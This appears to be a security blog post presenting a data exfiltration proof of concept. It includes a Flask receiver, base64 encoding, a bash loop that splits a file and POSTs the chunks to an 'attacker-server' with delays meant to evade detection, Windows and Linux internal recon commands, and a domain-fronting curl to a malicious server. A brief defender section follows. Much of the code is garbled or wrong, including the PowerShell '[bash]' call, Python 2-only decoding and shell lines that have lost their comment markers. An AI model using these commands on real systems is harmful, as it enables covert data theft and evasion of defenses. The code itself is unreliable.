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In this scenario, the process of data exfiltration and chunking the found data has been implemented, thereby bypassing Windows Firewall, Windows Defender, and other antivirus programs.
The processes include:
1. Programming HTTP Post Request Server
2. Encode Data in Base64
- Decode Data Based on base64 [on the Server]
4. Data Exfiltration Based on Chunking Data
5. Internal Recon Against Windows Client
You can implement this technique in advanced scenarios like:
– Domain Fronting
– Covert Channel to bypass Firewall Admin or Bypass NIDS.
You Should Know:
1. HTTP Post Request Server (Python Example)
from flask import Flask, request
app = Flask(<strong>name</strong>)
@app.route('/exfil', methods=['POST'])
def exfil_data():
data = request.data
decoded_data = data.decode('base64') Decoding base64 data
with open("exfiltrated_data.txt", "ab") as f:
f.write(decoded_data)
return "Data received", 200
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=80)
2. Base64 Encoding & Decoding (Linux/Windows)
Linux:
Encode file to base64 base64 sensitive_data.txt > encoded_data.txt Decode base64 back to original base64 -d encoded_data.txt > decoded_data.txt
Windows (PowerShell):
Encode file to base64
[bash]::ToBase64String([IO.File]::ReadAllBytes("C:\sensitive_data.txt")) | Out-File "C:\encoded_data.txt"
Decode base64 back to original
3. Chunking Data for Exfiltration (Bash Script)
!/bin/bash file="large_data.zip" chunk_size=1024 1KB chunks prefix="chunk_" split -b $chunk_size "$file" "$prefix" Simulate sending chunks to server for chunk in $prefix; do curl -X POST --data-binary "@$chunk" http://attacker-server/exfil sleep 1 Delay to evade detection done
4. Internal Recon Commands (Windows/Linux)
Windows (CMD):
:: Network discovery arp -a netstat -ano net view /all :: User and domain info whoami /all net user net group "Domain Admins" /domain
Linux:
Network scanning nmap -sV -p- 192.168.1.0/24 arp-scan -l Process and user enumeration ps aux cat /etc/passwd id
- Bypassing NIDS with Domain Fronting (Curl Example)
curl -H "Host: legit-cdn.com" https://malicious-server.com/data -o /dev/null
What Undercode Say:
This POC demonstrates how attackers can bypass security controls using chunked data exfiltration, base64 encoding, and internal reconnaissance. Defenders should monitor:
– Unusual HTTP POST requests
– Large volumes of base64-encoded traffic
– Suspicious internal network scans
Detection & Mitigation:
- Suricata/Snort Rules: Detect base64 exfiltration patterns.
- Windows Defender ASR Rules: Block suspicious PowerShell/CURL activities.
- Network Segmentation: Limit lateral movement.
Expected Output:
A stealthy data exfiltration technique bypassing AV and NIDS, leveraging chunking, encoding, and covert channels.
For further reading:
References:
Reported By: Hassan Sohrabian – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
